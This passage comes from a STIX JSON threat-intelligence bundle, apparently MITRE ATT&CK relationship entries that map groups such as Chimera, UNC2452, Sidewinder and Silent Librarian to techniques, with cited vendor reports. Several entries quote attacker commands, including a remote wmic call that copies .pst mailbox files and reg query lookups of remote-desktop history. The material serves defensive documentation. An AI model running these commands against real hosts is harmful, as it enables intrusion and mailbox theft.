                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has copied tools between compromised hosts using SMB.(Citation: NCC Group Chimera January 2021)",
            "relationship_type": "uses",
            "id": "relationship--778297c2-55a2-4f80-8216-daa25bd148a9",
            "type": "relationship",
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            "external_references": [
                {
                    "source_name": "NCC Group Chimera January 2021",
                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has collected documents from the victim's SharePoint.(Citation: NCC Group Chimera January 2021)",
            "relationship_type": "uses",
            "id": "relationship--7080d506-ac77-4519-93aa-92bc490a2756",
            "type": "relationship",
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has harvested data from remote mailboxes including through execution of <code>\\\\<hostname>\\c$\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook*.ost</code>.(Citation: NCC Group Chimera January 2021)",
            "relationship_type": "uses",
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
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            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has harvested data from victim's e-mail including through execution of <code>wmic /node:<ip> process call create \"cmd /c copy c:\\Users\\<username>\\<path>\\backup.pst c:\\windows\\temp\\backup.pst\" copy \"i:\\<path>\\<username>\\My Documents\\<filename>.pst\"\ncopy</code>.(Citation: NCC Group Chimera January 2021)",
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            "type": "relationship",
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has staged stolen data locally on compromised hosts.(Citation: NCC Group Chimera January 2021)",
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            "external_references": [
                {
                    "source_name": "NCC Group Chimera January 2021",
                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used side loading to place malicious DLLs in memory.(Citation: NCC Group Chimera January 2021)",
            "relationship_type": "uses",
            "id": "relationship--0390ebec-176f-421a-9823-cce48756aef1",
            "type": "relationship",
            "modified": "2021-01-22T16:51:10.393Z",
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        {
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            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "external_references": [
                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) configured at least one instance of [Cobalt Strike](https://attack.mitre.org/software/S0154) to use a network pipe over SMB during the 2020 SolarWinds intrusion.(Citation: Symantec RAINDROP January 2021)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "Symantec RAINDROP January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used 7-Zip to decode its [Raindrop](https://attack.mitre.org/software/S0565) malware.(Citation: Symantec RAINDROP January 2021)",
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
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            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has registered alternate phone numbers for compromised users to intercept 2FA codes sent via SMS.(Citation: NCC Group Chimera January 2021)",
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
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            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>type \\\\<hostname>\\c$\\Users\\<username>\\Favorites\\Links\\Bookmarks bar\\Imported From IE\\*citrix*</code> for bookmark discovery.(Citation: NCC Group Chimera January 2021)",
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
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            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has queried Registry keys using <code>reg query \\\\<host>\\HKU\\<SID>\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers</code> and <code>reg query \\\\<host>\\HKU\\<SID>\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings</code>.(Citation: NCC Group Chimera January 2021)",
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>tasklist</code> to enumerate processes.(Citation: NCC Group Chimera January 2021)",
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
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                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
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                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>time /t</code> and <code>net time \\\\ip/hostname</code> for system time discovery.(Citation: NCC Group Chimera January 2021)",
            "relationship_type": "uses",
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>net start</code> and <code>net use</code> for system service discovery.(Citation: NCC Group Chimera January 2021)",
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                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) enumerated the Orion software Visual Studio solution directory path.(Citation: CrowdStrike SUNSPOT Implant January 2021)",
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                }
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                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used <code>netsh</code> to configure firewall rules that limited certain UDP outbound packets.(Citation: Microsoft Deep Dive Solorigate January 2021)",
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                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
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            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used <code>AUDITPOL</code> to prevent the collection of audit logs.(Citation: Microsoft Deep Dive Solorigate January 2021)",
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                    "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."
                }
            ],
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                }
            ],
            "description": "[Dtrack](https://attack.mitre.org/software/S0567) contains a function that calls <code>LoadLibrary</code> and <code>GetProcAddress</code>.(Citation: CyberBit Dtrack)",
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                }
            ],
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            "relationship_type": "uses",
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                },
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                    "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/",
                    "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."
                }
            ],
            "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect the victim's computer name, hostname and adapter information to create a unique identifier.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)",
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                    "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/",
                    "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."
                }
            ],
            "description": "[Dtrack](https://attack.mitre.org/software/S0567) can add a service called WBService to establish persistence.(Citation: CyberBit Dtrack)",
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            "external_references": [
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                    "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/",
                    "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."
                }
            ],
            "description": "[Dtrack](https://attack.mitre.org/software/S0567) has used <code>cmd.exe</code> to add a persistent service.(Citation: CyberBit Dtrack)",
            "relationship_type": "uses",
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                    "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."
                }
            ],
            "description": "One of [Dtrack](https://attack.mitre.org/software/S0567) can hide in replicas of legitimate programs like OllyDbg, 7-Zip, and FileZilla.(Citation: CyberBit Dtrack)",
            "relationship_type": "uses",
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                }
            ],
            "description": "One of [Dtrack](https://attack.mitre.org/software/S0567) can replace the normal flow of a program execution with malicious code.(Citation: CyberBit Dtrack)",
            "relationship_type": "uses",
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                }
            ],
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                    "url": "https://securelist.com/my-name-is-dtrack/93338/",
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                },
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                    "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/",
                    "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."
                }
            ],
            "description": "[Dtrack](https://attack.mitre.org/software/S0567) can list files on available disk volumes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)",
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                },
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                }
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                },
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                }
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            "description": "[Dtrack](https://attack.mitre.org/software/S0567)\u2019s dropper can list all running processes.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)",
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                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
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                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used VBScripts to initiate the execution of payloads.(Citation: Microsoft Deep Dive Solorigate January 2021)",
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                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used Rundll32 to execute payloads.(Citation: Microsoft Deep Dive Solorigate January 2021) ",
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                }
            ],
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                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
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                    "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/",
                    "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."
                }
            ],
            "description": "[Evilnum](https://attack.mitre.org/groups/G0120) can steal cookies and session information from browsers.(Citation: ESET EvilNum July 2020)",
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                    "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/",
                    "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."
                }
            ],
            "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has sent spearphishing emails designed to trick the recipient into opening malicious shortcut links which downloads a .LNK file.(Citation: ESET EvilNum July 2020)",
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            "id": "relationship--6c0ae1dc-2429-42fd-899e-8aafb9adc50c",
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                }
            ],
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                }
            ],
            "description": "[Evilnum](https://attack.mitre.org/groups/G0120) can collect email credentials from victims.(Citation: ESET EvilNum July 2020)",
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                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious links to credential harvesting websites.(Citation: ATT Sidewinder January 2021)",
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                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                },
                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis",
                    "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Cyble Sidewinder September 2020",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."
                }
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            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious attachments that lead victims to credential harvesting websites.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Cyble Sidewinder September 2020)",
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                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                },
                {
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                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/",
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                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious links often crafted for specific targets.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)",
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                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious attachments often crafted for specific targets.(Citation: ATT Sidewinder January 2021)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "ATT Sidewinder January 2021",
                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                },
                {
                    "source_name": "Cyble Sidewinder September 2020",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used LNK files to download remote files to the victim's network.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)",
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            "external_references": [
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                    "source_name": "ATT Sidewinder January 2021",
                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                },
                {
                    "source_name": "Cyble Sidewinder September 2020",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has exploited vulnerabilities to gain execution including CVE-2017-11882 and CVE-2020-0674.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
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                    "source_name": "ESET EvilNum July 2020",
                    "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/",
                    "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."
                }
            ],
            "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has used malicious JavaScript files on the victim's machine.(Citation: ESET EvilNum July 2020)",
            "relationship_type": "uses",
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                }
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                    "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."
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                }
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                }
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                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
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                    "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."
                }
            ],
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                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to obtain the current system time.(Citation: ATT Sidewinder January 2021)",
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                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to identify running processes on the victim's machine.(Citation: ATT Sidewinder January 2021)",
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                }
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            "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can make modifications to the Regsitry for persistence.(Citation: Prevailion EvilNum May 2020)",
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            "description": "[EVILNUM](https://attack.mitre.org/software/S0568) has used a one-way communication method via GitLab and Digital Point to perform C2.(Citation: Prevailion EvilNum May 2020)",
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            "target_ref": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has served fake updates via legitimate websites that have been compromised.(Citation: Crowdstrike Indrik November 2018)\t",
            "relationship_type": "uses",
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
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            "description": "(Citation: Crowdstrike Indrik November 2018)",
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            "external_references": [
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                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "(Citation: Crowdstrike Indrik November 2018)",
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                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used Group Policy Objects to deploy batch scripts.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--89500cd9-c663-4b3e-bb20-b8fe1860891a",
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                {
                    "source_name": "ATT Sidewinder January 2021",
                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                },
                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis",
                    "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Rewterz Sidewinder COVID-19 June 2020",
                    "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19",
                    "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Cyble Sidewinder September 2020",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious files to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
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                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis",
                    "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Rewterz Sidewinder COVID-19 June 2020",
                    "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19",
                    "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Cyble Sidewinder September 2020",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has added paths to executables in the Registry to establish persistence.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)",
            "relationship_type": "uses",
            "id": "relationship--5d43c968-d9d2-4687-949e-23888376f10c",
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            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "external_references": [
                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis",
                    "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Rewterz Sidewinder COVID-19 June 2020",
                    "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19",
                    "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used <code>mshta.exe</code> to execute malicious payloads.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--0ecbbfa3-6b81-4cf7-9033-373ebbc2832f",
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            "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "external_references": [
                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis",
                    "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."
                },
                {
                    "source_name": "Rewterz Sidewinder COVID-19 June 2020",
                    "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19",
                    "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used the ActiveXObject utility to create OLE objects to obtain execution through Internet Explorer.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)",
            "relationship_type": "uses",
            "id": "relationship--67583965-9e89-49cd-bdac-9fd69d7857ae",
            "type": "relationship",
            "modified": "2021-01-29T20:34:08.989Z",
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            "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
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                {
                    "source_name": "Rewterz Sidewinder APT April 2020",
                    "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis",
                    "description": "Rewertz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."
                }
            ],
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used the Windows service <code>winmgmts:\\\\.\\root\\SecurityCenter2</code> to check installed antivirus products.(Citation: Rewterz Sidewinder APT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--0cf2ae01-9d19-46d7-949e-e6d7a5639a95",
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            "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384",
            "target_ref": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26",
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                {
                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                },
                {
                    "source_name": "Phish Labs Silent Librarian",
                    "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment",
                    "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has searched victim's websites to identify the interests and academic areas of targeted individuals and to scrape source code, branding, and organizational contact information for phishing pages.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Proofpoint TA407 September 2019)",
            "relationship_type": "uses",
            "id": "relationship--33201f98-6367-4f36-a581-98fd4d1203fa",
            "type": "relationship",
            "modified": "2021-02-04T14:43:12.883Z",
            "created": "2021-02-03T16:59:34.743Z"
        },
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            "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
            "external_references": [
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                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                },
                {
                    "source_name": "Phish Labs Silent Librarian",
                    "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment",
                    "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Secureworks COBALT DICKENS August 2018",
                    "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities",
                    "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Secureworks COBALT DICKENS September 2019",
                    "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again",
                    "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."
                }
            ],
            "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)",
            "relationship_type": "uses",
            "id": "relationship--44866cfd-7d8f-45f6-906b-5b4992aa69e0",
            "type": "relationship",
            "modified": "2021-02-04T14:49:40.477Z",
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        },
        {
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            "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384",
            "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
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                    "source_name": "DOJ Iran Indictments March 2018",
                    "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download",
                    "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."
                },
                {
                    "source_name": "Phish Labs Silent Librarian",
